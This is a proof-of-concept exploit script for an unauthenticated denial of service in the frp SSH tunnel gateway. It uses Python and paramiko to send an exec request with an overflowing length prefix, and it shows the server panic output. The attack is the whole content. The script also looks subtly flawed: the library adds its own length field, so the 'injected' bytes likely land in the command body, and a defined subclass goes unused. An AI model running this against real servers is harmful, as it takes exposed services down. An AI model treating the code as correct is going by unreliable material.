frp SSH Tunnel Gateway Unauthenticated Remote Denial of Service via Integer Overflow

# Requires frps >= 0.53.0 with sshTunnelGateway enabled (any port, no authorized-keys file)
# Connect as unauthenticated SSH client, open a session channel, then send one exec request:
# Payload bytes: ff ff ff ff 41  (4-byte length = 0xFFFFFFFF, then one command byte 'A')
#
# Using Python + paramiko to craft the raw channel request:

import socket
import paramiko

class MaliciousTransport(paramiko.Transport):
    pass

target_host = "<frps-host>"
target_port = 2200

sock = socket.create_connection((target_host, target_port))
transport = paramiko.Transport(sock)
transport.start_client()

# No credentials needed - server has NoClientAuth = true by default
transport.auth_none("anyuser")

chan = transport.open_session()
# Send exec request with length field = 0xFFFFFFFF (overflows 4 + 0xFFFFFFFF -> 3)
# Raw payload: b'\xff\xff\xff\xff\x41'
chan.exec_command("\xff\xff\xff\xffA")  # length bytes injected as command prefix

# Server panics immediately:
# panic: runtime error: slice bounds out of range [4:3]
# .../frp/pkg/ssh/server.go:319